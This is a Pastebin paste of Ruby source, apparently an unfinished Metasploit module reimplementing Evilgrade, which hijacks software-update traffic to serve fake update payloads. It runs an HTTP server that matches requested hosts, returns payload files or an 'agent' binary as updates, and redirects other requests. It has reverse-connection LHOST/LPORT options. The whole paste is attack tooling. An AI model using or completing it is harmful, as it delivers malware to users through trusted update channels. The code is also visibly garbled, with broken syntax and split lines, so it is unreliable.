Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- module Msf
- ###
- #
- # Evilgrade implementation for Metasploit. Same as the one at http://nullcon.net/nullcon2010presentation/Veysel_nullcon2010_Paper.pdf
- # Except the code in the .pdf wont just copypaste so I am slowly rewriting it and adding more fake update modules from the latest evilgrade update
- # www.infodox.co.cc
- #
- ###
- module Auxiliary::Update
- attr _reader: base, :agent
- require 'resolv'
- require 'digest/md5'
- include Msf::Exploit::Remote::TcpServer
- def initialize(info = {})
- super(
- 'Actions' => [ [ 'Update' ] ] ,
- 'PassiveActions' => [ 'Update' ] ,
- 'DefaultAction' => 'Update'
- )
- register_options(
- [
- OptPort.new('SRVPORT' , [ false , "The local port to listen on." , 80 ]) ,
- OptString.new('UPAYLOAD' , [ true , "The fake update." , nil ]) ,
- OptAddress.new('LHOST' , [ false , "Reverse connection host." , nil ]) ,
- OptPort.new( 'LPORT' , [ false , "Reverse connection port." , nil ]) ,
- OptAddress.new('CAPTURE_HOST' , [ false , "The IP address of the http capture service" , nil ]) ,
- OptPort.new('CAPTURE_PORT' , [ false , "Not matched requests will be forwarded to, if defined the http capture module running at this port, else a redirect to the real ip address" , nil ])
- ], Auxiliary::Update)
- create_agent( )
- end
- def on_client_connect(c)
- c.extend(Rex::Proto::Http::Server Client)
- c.init_cli(self)
- end
- def on_client_data(cli)
- begin
- data = cli.get_once(-1, 5)
- raise::Errno::ECONNABORTED if not (data or data.length == 0)
- case cli.request.parse(data)
- when Rex::Proto::Http::Packet::ParseCode::Completed
- dispatch_request(cli, cli.request)
- cli.reset_cli
- when Rex::Proto::Http::Packet::ParseCode::Error
- close_client(cli)
- end
- rescue ::EOFError , ::Errno::EACCES, ::Errno::ECONNABORTED,
- ::Errno::ECONNRESET
- rescue ::OpenSSL::SSL::SSLError
- rescue ::Exception
- print_status("Error: #{$!.class} #{$!} #{$!.
- backtrace}")
- end
- close_client(cli)
- end
- def close_client(cli)
- cli.close
- end
- def exploit
- # if update_server is set in global datastore, existing
- # server handles all requests
- # else a new server will be created
- super if not framework.datastore ['update_server']
- end
- def run
- exploit()
- end
- ###
- #
- # dispatches the request
- # if request matches vh and uri , method according to request type is called
- # else redirected
- #
- ###
- def dispatch_request(cli , req)
- res = nil
- print_status("Request #{req['Host']}")
- @base['vh'].each{ |vh|
- if req ['Host'] =~ /#{vh}/
- @base['request'].each{ |request|
- if req.uri.to_s =~ /#{request['req']}/
- data = case request['type']
- when "file";
- on_client_request_file
- (cli , req , request)
- when "string";
- on_client_request_string
- (cli , req , request)
- when "agent";
- on_client_request_agent
- (cli , req , request)
- when "redirect"; res
- = redirect(cli , req , request['to'])
- else
- '
- unknown
- '
- end
- res || = create_response(
- request['type'],data,
- req['Host'],request['header'])
- break
- end
- }
- end
- } if not @base.nil?
- res || = redirect(cli , req)
- cli.put(res)
- return
- end
- def on_client_request_string(cli , req , conf)
- data = conf['string']
- @base['options'].each{ |name, config|
- val = eval(config['val']) if config['dynamic'].eql
- ?(1)
- val ||= config['val']
- data.gsub!(/\<\%#{name.upcase}\%\>/, val.to_s)
- } if conf['parse'].eql?(1)
- return data
- end
- def on_client_request_file(cli , req , conf)
- fname = File.join(Msf::Config.install_root, "data", "exploits", "update", "http", conf['file'] )
- data = File.read(fname)
- @base ['options'].each{ |name, config|
- val = eval(config['val']) if config['dynamic'].eql
- ?(1)
- val ||= config['val']
- data.gsub!(/\<\%#{name.upcase}\%\>/, val.to_s)
- } if conf['parse'].eql?(1)
- return data
- end
- def on_client_request_agent(cli , req , conf)
- return @agent
- end
- def redirect(cli , req , to=false)
- if datastore['CAPTURE_PORT'].nil?
- ip = Resolv.getaddress(req['Host']).to_s
- to ||="http://#{ip}#{req.uri}"
- if req.uri =~/\.html/ or not req.uri =~/\./
- data = "<html><head></head><frame set rows
- ='100%'>" +
- "<frame src='#{to
- }'></frameset>"
- +
- "</html>"
- res = create_response('string' , data , req['Host'])
- else
- res = "HTTP/1.1 307 Temporary Redirect\r\n" +
- "Location:#{to}\r\n" +
- "Content-Type:text/html\r\n" +
- "Content-Length:0" +
- "Connection:Close\r\n\r\n"
- end
- else
- ip = datastore['CAPTURE_HOST']
- port = datastore['CAPTURE_PORT']
- res = "HTTP/1.1 301 Moved Permanently\r\n" +
- "Location:http://#{ip}:#{port}/\r\n" +
- "Content-Type:text/html\r\n" +
- "Content-Length:0" +
- "Connection:Close\r\n\r\n"
- end
- return res
- end
- def create_response(type , data , host , header=false)
- if type.eql?("agent")
- res = "HTTP/1.1 200 OK\r\n" +
- "Host:#{host}\r\n" +
- "Expires:0\r\n" +
- "Cache-Control:must-revalidate\r\n" +
- "Content-Type:application/octet-stream\r\n" +
- "Content-Length:#{data.length}\r\n" +
- "Connection:Close\r\n\r\n#{data}"
- elsif not header.nil?
- res = "HTTP/1.1 200 OK\r\n" +
- "Host:#{host}\r\n" +
- "Expires:0\r\n" +
- "Cache-Control:must-revalidate\r\n" +
- "Content-Type:#{header}\r\n" +
- "Content-Length:#{data.length}\r\n" +
- "Connection:Close\r\n\r\n#{data}"
- else
- res = "HTTP/1.1 200 OK\r\n" +
- "Host:#{host}\r\n" +
- "Expires:0\r\n" +
- "Cache-Control:must-revalidate\r\n" +
- "Content-Type:text/html\r\n" +
- "Content-Length:#{data.length}\r\n" +
- "Connection:Close\r\n\r\n#{data}"
- end
- return res
- end
- ## Now to add Create Agent ... may take a day or two
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement